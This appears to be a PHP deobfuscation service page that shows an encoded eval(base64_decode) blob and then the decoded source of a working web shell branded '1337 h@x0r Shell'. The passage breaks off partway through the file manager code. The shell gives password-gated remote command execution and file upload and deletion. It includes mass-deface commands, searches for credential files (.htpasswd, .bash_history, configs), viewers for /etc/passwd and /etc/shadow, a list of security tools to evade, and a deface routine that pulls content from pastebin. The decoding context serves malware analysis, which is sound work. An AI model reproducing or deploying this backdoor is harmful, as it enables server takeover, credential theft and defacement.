Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $auth_pass = "bacc600034a240d20c6ab99a989d793d"; eval("?>".base64_decode('PD9waHA..

Decoded Output download

?>b'<?php
$color = "#a3e956";
$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
    header(\'HTTP/1.0 404 Not Found\');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'display_errors\',0);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define(\'VERSION\', \'Ver 3.0\');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    echo \'<title>Hacked by 1337 h@x0r</title>
<audio loop autoplay><source src="http://x-songs.pk/pk-mp3/asrar-main-pakistan-hoon/v798761993_5637820002.mp3" type="audio/mpeg"></audio>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"> 
<style>
@import url(http://fonts.googleapis.com/css?family=Open+Sans:5);
.text {
fill: none;
stroke-width: 2;
stroke-linejoin: round;
stroke-dasharray: 100 330;
stroke-dashoffset: 0;
-webkit-animation: stroke 6s infinite linear;
animation: stroke 6s infinite linear;
}
.text:nth-child(5n + 1) {
stroke: #F2385A;
-webkit-animation-delay: -1.2s;
animation-delay: -1.2s;
}
.text:nth-child(5n + 2) {
stroke: #F5A503;
-webkit-animation-delay: -2.4s;
animation-delay: -2.4s;
}
.text:nth-child(5n + 3) {
stroke: #E9F1DF;
-webkit-animation-delay: -3.6s;
animation-delay: -3.6s;
}
.text:nth-child(5n + 4) {
stroke: #56D9CD;
-webkit-animation-delay: -4.8s;
animation-delay: -4.8s;
}
.text:nth-child(5n + 5) {
stroke: #3AA1BF;
-webkit-animation-delay: -6s;
animation-delay: -6s;
}
@-webkit-keyframes stroke {
100% {
stroke-dashoffset: -400;
}
}
@keyframes stroke {
100% {
stroke-dashoffset: -400;
}
}
html, body {
}
body {
background-color: black;
font: 5.1em/1 Open Sans, Impact;
text-transform: uppercase;
}
</style>
</head>
<body>
<svg viewBox="0 0 1000 300">
<symbol id="s-text">
<text text-anchor="middle" x="50%" y="50%" dy=".5em">
Hacked By 1337 h@x0r
</text>
</symbol>
<use xlink:href="#s-text" class="text"
></use>
<use xlink:href="#s-text" class="text"
></use>
<use xlink:href="#s-text" class="text"
></use>
<use xlink:href="#s-text" class="text"
></use>
<use xlink:href="#s-text" class="text"
></use>
<style>input { margin:5;background-color:#000;border:none;color:#0000; cursor:arrow; }</style>
          <center><form method=post><input type=password name=pass></form>\';
    exit;
}
if( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] ))
    if( empty( $auth_pass ) ||
        ( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) )
        $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
    else
        printLogin();
if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    $os = \'win\';
else
    $os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if( isset( $_POST[\'c\'] ) )
    @chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
    $home_cwd = str_replace("\", "/", $home_cwd);
    $cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != \'/\' )
    $cwd .= \'/\';
if($os == \'win\') {
    $aliases = array(
        "Mass Deface" => \'for /r "%cd%" %i in (.) do @copy "%cd%\pca.html" "%i"\',
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
} else {
    $aliases = array(
          "List dir" => "ls -la",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
          "show opened ports" => "netstat -an | grep -i listen",
        "Find" => "",
          "find all suid files" => "find / -type f -perm -04000 -ls",
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls",
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php",
          "find config* files" => "find / -type f -name \"config*\"",
          "find config* files in current dir" => "find . -type f -name \"config*\"",
          "find all writable folders and files" => "find / -perm -2 -ls",
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
          "find all service.pwd files" => "find / -type f -name service.pwd",
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          "find all .bash_history files" => "find / -type f -name .bash_history",
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
          "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" =>"locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files"=>"locate \'.conf\'",
        "locate .pwd files" => "locate \'.pwd\'",
        "locate .sql files" => "locate \'.sql\'",
        "locate .htpasswd files" => "locate \'.htpasswd\'",
        "locate .bash_history files" => "locate \'.bash_history\'",
        "locate .mysql_history files" => "locate \'.mysql_history\'",
        "locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"    
    );
}
function ex($in) {
    $out = \'\';
    if(function_exists(\'exec\')) {
        @exec($in,$out);
        $out = @join("
",$out);
    }elseif(function_exists(\'passthru\')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }elseif(function_exists(\'system\')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }elseif(function_exists(\'shell_exec\')) {
        $out = shell_exec($in);
    }elseif(is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}
function which($p) {
    $path = ex(\'which \'.$p);
    if(!empty($path))
        return $path;
    return false;
}
function printHeader() {
    if(empty($_POST[\'charset\']))
        $_POST[\'charset\'] = "UTF-8";
    global $color;
    echo \'<html><head><meta http-equiv="Content-Type" content="text/html; charset=\'.$_POST[\'charset\'].\'"><title>1337 h@x0r \'.VERSION.\'</title>
    <style>
        body {background:url(http://i.imgur.com/9NEcwsL.gif);color:#00C000;}
        body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
        span,h1,a    { color:\'.$color.\' !important; }
        span        { font-weight: bolder; }
        h1            { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
        div.content    { padding: 5px;margin:0 5px;background: #000000;border-bottom:1px solid #a3e956;}
        a            { text-decoration:none; }
        a:hover        { /*background:aqua;*/ }
        .ml1        { border:1px solid #a3e956;padding:5px;margin:0;overflow: auto; }
        .bigarea    { width:100%;height:250px;margin-top:5px;}
        input, textarea, select    { margin:0;color:aqua;background-color:#000000;border:1px solid \'.$color.\'; font: 9pt Monospace,"Courier New"; }
        input[type="button"]:hover,input[type="submit"]:hover {background-color:\'.$color.\';color:#000;} 
        form        { margin:0px; }
        #toolsTbl    { text-align:center; }
        .toolsInp    { width: 80%; }
        .main th    {text-align:left;background-color:#000000;font-weight: bold;}
        .main tr:hover{background-color:#5e5e5e;}
        .main td, th{vertical-align:middle;}
        .menu {background: #000;}
        .menu th{padding:5px;font-weight:bold;}
        .menu th:hover{background:#444;}
        .l1 {background-color:#000}
        pre {font-family:Courier,Monospace;}
        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
        .logo {text-align:center;font-size:60px;}
        .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
        .cpr {margin-bottom:5px;font-weight:bold;}
        .cpb {width:34px;margin:0 5px;}
        .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
        .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
        .npoad td {padding:0;}
    </style>
    <script>
        function set(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;
            if(c != null)document.mf.c.value=c;
            if(p1 != null)document.mf.p1.value=p1;
            if(p2 != null)document.mf.p2.value=p2;
            if(p3 != null)document.mf.p3.value=p3;
            if(charset != null)document.mf.charset.value=charset;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            document.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = "ajax=true";
            for(i=0;i<document.mf.elements.length;i++)
                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
            sr("\'.$_SERVER[\'REQUEST_URI\'].\'", params);
        }
        function sr(url, params) {    
            if (window.XMLHttpRequest) {
                req = new XMLHttpRequest();
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            } 
            else if (window.ActiveXObject) {
                req = new ActiveXObject("Microsoft.XMLHTTP");
                if (req) {
                    req.onreadystatechange = processReqChange;
                    req.open("POST", url, true);
                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                    req.send(params);
                }
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    //alert(req.responseText);
                    var reg = new RegExp("(\d+)([\S\s]*)", "m");
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } 
                else alert("Request error!");
        }
    </script>
    <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px solid #a3e956;">
    <form method=post name=mf style="display:none;">
        <input type=hidden name=a value="\'.(isset($_POST[\'a\'])?$_POST[\'a\']:\'\').\'">
        <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
        <input type=hidden name=p1 value="\'.(isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'">
        <input type=hidden name=p2 value="\'.(isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\').\'">
        <input type=hidden name=p3 value="\'.(isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\').\'">
        <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
    </form>\';
    $freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
    $totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $disable_functions = @ini_get(\'disable_functions\');
    $release = @php_uname(\'r\');
    $kernel = @php_uname(\'s\');
    if(!function_exists(\'posix_getegid\')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid[\'name\'];
        $uid = $uid[\'uid\'];
        $group = $gid[\'name\'];
        $gid = $gid[\'gid\'];
    }
    $cwd_links = \'\';
    $path = explode("/", $GLOBALS[\'cwd\']);
    $n=count($path);
    for($i=0;$i<$n-1;$i++) {
        $cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
        for($j=0;$j<=$i;$j++)
            $cwd_links .= $path[$j].\'/\';
        $cwd_links .= "\")\'>".$path[$i]."/</a>";
    }
    $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
    $opt_charsets = \'\';
    foreach($charsets as $item)
        $opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
    $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Exec\'=>\'Console\',\'Shared Hostings\'=>\'Shared\',\'Grab Configs\'=>\'ConfigGrabber\',\'Safe Mode\'=>\'Bypass\',\'Sql\'=>\'Sql\',\'Subdomain\'=>\'Subdomain\',\'Deface\' => \'Deface\',\'String tools\'=>\'StringTools\',\'Jumping\'=>\'Jumping\',\'Connect\'=>\'Network\',\'Port Scanner\'=>\'PortScanner\',\'Symlink\'=>\'Symlink\',\'Domain\' => \'Domain\');
    if(!empty($GLOBALS[\'auth_pass\']))
    $m[\'Logout\'] = \'Logout\';
    $m[\'Kill\'] = \'SelfRemove\';
    $menu = \'\';
    foreach($m as $k => $v)
        $menu .= \'<th><a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a></th>\';
    $drives = "";
    if ($GLOBALS[\'os\'] == \'win\') {
        foreach( range(\'a\',\'z\') as $drive ){
            if (is_dir($drive.\':\\'))
                $drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
        }
        $drives .= \'<br />: \';
    }
    if($GLOBALS[\'os\'] == \'nix\') {
        $dominios = @file_get_contents("/etc/named.conf");
        if(!$dominios) {
            $d0c = "CANT READ named.conf";
        } else {
            @preg_match_all(\'/.*?zone "(.*?)" {/\', $dominios, $out);
            $out = sizeof(array_unique($out[1]));
            $d0c = $out."  Domains";
        }
    } else {
        $d0c = " --- ";
    }
    if($GLOBALS[\'os\'] == \'nix\' )
    {
        $usefl = \'\'; $dwnldr = \'\';
        if(!@ini_get(\'safe_mode\')) {
            $temp = array();
            $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
            foreach($userful as $item) { if(which($item)) $temp[]= $item; }
            $usefl = implode(\', \',$temp);
            $temp = array();
            $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
            foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
            $dwnldr = implode(\', \',$temp);
        } else {
            $usefl = \' ------- \'; $dwnldr = \' ------- \';
        }
    } else { 
        $usefl = \' ------- \'; $dwnldr = \' ------- \';
    } 
    echo \'<table class="info" cellpadding="0" cellspacing="0" width="100%" bgcolor="black"><tr><td width="160px"><img src="http://i.imgur.com/We7fXXU.jpg" height="100" width="100"><sup>&reg;</sup></div></td>
          <td><table cellpadding="0" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>\'.substr(@php_uname(), 0, 120).\'</nobr></td></tr>
          <tr><td><span>User</span></td><td>: \'.$uid.\' ( \'.$user.\' ) <span>Group: </span> \'.$gid.\' ( \'.$group.\' )</td></tr><tr><td><span>Server</span></td><td>: \'.@getenv(\'SERVER_SOFTWARE\').\'</td></tr><tr><td><span>Useful</span></td><td>: \'.$usefl.\'</td></tr><tr><td><span>Downloaders</span></td><td>: \'.$dwnldr.\'</td></tr><tr><td><span>Disabled functions</span></td><td>: \'.($disable_functions?$disable_functions:\'All Function Enable\').\'</td></tr><tr><td><span>\'.($GLOBALS[\'os\'] == \'win\'?\'Drives<br />Cwd\':\'Cwd\').\'</span></td><td>: \'.$drives.\'\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>\'.
         \'<td width=1><nobr><span>Server IP</span><br><span>Client IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>\'.
         \'<td><nobr>: \'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br>: \'.$_SERVER[\'REMOTE_ADDR\'].\'<br />: \'.viewSize($totalSpace).\'<br />: \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>: \'.@phpversion().\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=\'.$color.\'<b>OFF</b></font>\').\'<br />: \'.$d0c.\'</nobr></td></tr></table>\'.
         \'</div></div><div style="margin:1;background #000;"><div class="content" style="border-top:1px solid #a3e956;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>\'.$menu.\'</tr></table></div></div><div style="margin:1;background:#000;">\';
}
function printFooter() {
    $is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=aqua>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
echo \'</div><div style="margin:1px;background:#000;"><div class="content" style="border-top:1px solid #a3e956;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
    <tr>
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>\'.$is_writable.\'</td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
        <td><form method="post" ENCTYPE="multipart/form-data">
        <input type=hidden name=a value="FilesMAn">
        <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
        <input type=hidden name=p1 value="uploadFile">
        <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
    </tr>
</table></div></div>
<div style="margin:5px;background:#000;"><div class="content" style="border-top:1px solid #a3e956;text-align:center;font-weight:bold;"><font color="aqua">1337 h@x0r Shell \'.VERSION.\'<br>WE ARE:<marquee width="50%">Pak Cyber Attackers</marquee></font></div></div>
</div>
</body></html>\';
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }
function viewSize($s) {
    if($s >= 1073741824)
        return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
    elseif($s >= 1048576)
        return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
    elseif($s >= 1024)
        return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
    else
        return $s . \' B\';
}
function perms($p) {
    if (($p & 0xC000) == 0xC000)$i = \'s\';
    elseif (($p & 0xA000) == 0xA000)$i = \'l\';
    elseif (($p & 0x8000) == 0x8000)$i = \'-\';
    elseif (($p & 0x6000) == 0x6000)$i = \'b\';
    elseif (($p & 0x4000) == 0x4000)$i = \'d\';
    elseif (($p & 0x2000) == 0x2000)$i = \'c\';
    elseif (($p & 0x1000) == 0x1000)$i = \'p\';
    else $i = \'u\';
    $i .= (($p & 0x0100) ? \'r\' : \'-\');
    $i .= (($p & 0x0080) ? \'w\' : \'-\');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
    $i .= (($p & 0x0020) ? \'r\' : \'-\');
    $i .= (($p & 0x0010) ? \'w\' : \'-\');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
    $i .= (($p & 0x0004) ? \'r\' : \'-\');
    $i .= (($p & 0x0002) ? \'w\' : \'-\');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
    return $i;
}
function viewPermsColor($f) { 
    if (!@is_readable($f))
        return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
    elseif (!@is_writable($f))
        return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
    else
        return \'<font color=#00BB00><b>\'.perms(@fileperms($f)).\'</b></font>\';
}
if(!function_exists("scandir")) {
    function scandir($dir) {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}
function actionSecInfo() {
    printHeader();
    echo \'<h1>Server security information</h1><div class=content>\';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo \'<span>\'.$n.\': </span>\';
            if(strpos($v, "
") === false)
                echo $v.\'<br>\';
            else
                echo \'<pre class=ml1>\'.$v.\'</pre>\';
        }
    }
    showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
    showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
    showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
    showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
    showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
    showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
    $temp=array();
    if(function_exists(\'mysql_get_client_info\'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists(\'mssql_connect\'))
        $temp[] = "MSSQL";
    if(function_exists(\'pg_connect\'))
        $temp[] = "PostgreSQL";
    if(function_exists(\'oci_connect\'))
        $temp[] = "Oracle";
    showSecParam(\'Supported databases\', implode(\', \', $temp));
    echo \'<br>\';
    if( $GLOBALS[\'os\'] == \'nix\' ) {
        $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
        $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
        $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
        showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
        showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
        showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
        showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
        if(!$GLOBALS[\'safe_mode\']) {
            echo \'<br>\';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Userful\', implode(\', \',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Danger\', implode(\', \',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Downloaders\', implode(\', \',$temp));
            echo \'<br/>\';
            showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
            showSecParam(\'HDD space\', ex(\'df -h\'));
            showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
        }
    } else {
        showSecParam(\'OS Version\',ex(\'ver\')); 
        showSecParam(\'Account Settings\',ex(\'net accounts\')); 
        showSecParam(\'User Accounts\',ex(\'net user\'));
    }
    echo \'</div>\';
    printFooter();
}
function actionFilesMan() {
    printHeader();
    echo \'<h1>File manager</h1><div class=content>\';
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']!=\'deface\') {
        switch($_POST[\'p1\']) {
            case \'uploadFile\':
                if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
                    echo "Can\'t upload file!";
                break;
                break;
            case \'mkdir\':
                if(!@mkdir($_POST[\'p2\']))
                    echo "Can\'t create new dir";
                break;
            case \'delete\':
                function deleteDir($path) {
                    $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    rmdir($path);
                }
                if(is_array(@$_POST[\'f\']))
                    foreach($_POST[\'f\'] as $f) {
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
            case \'paste\':
                if($_SESSION[\'act\'] == \'copy\') {
                    function copy_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION[\'f\'] as $f)
                        copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);                    
                } elseif($_SESSION[\'act\'] == \'move\') {
                    function move_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION[\'f\'] as $f)
                        @rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
                }
                unset($_SESSION[\'f\']);
                break;
            default:
                if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
                    $_SESSION[\'act\'] = @$_POST[\'p1\'];
                    $_SESSION[\'f\'] = @$_POST[\'f\'];
                    foreach($_SESSION[\'f\'] as $k => $f)
                        $_SESSION[\'f\'][$k] = urldecode($f);
                    $_SESSION[\'cwd\'] = @$_POST[\'c\'];
                }
                break;
        }
        echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
    }
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'deface\') {
        $def = file_get_contents(\'pastebin.com/download.php?i=mJsa5CJ1\');
        file_put_contents($_POST[\'c\'].$_POST[\'p2\'],$def);
    }
    $dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
    if($dirContent === false) {    echo \'Can\'t open this folder!\'; return;    }
    global $sort;
    $sort = array(\'name\', 1);
    if(!empty($_POST[\'p1\'])) {
        if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
            $sort = array($match[1], (int)$match[2]);
    }
    echo \'<script>
        function sa() {
            for(i=0;i<document.files.elements.length;i++)
            if(document.files.elements[i].type == \'checkbox\')
                document.files.elements[i].checked = document.files.elements[0].checked;
        }
        </script>
        <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
        <form name=files method=post>\';
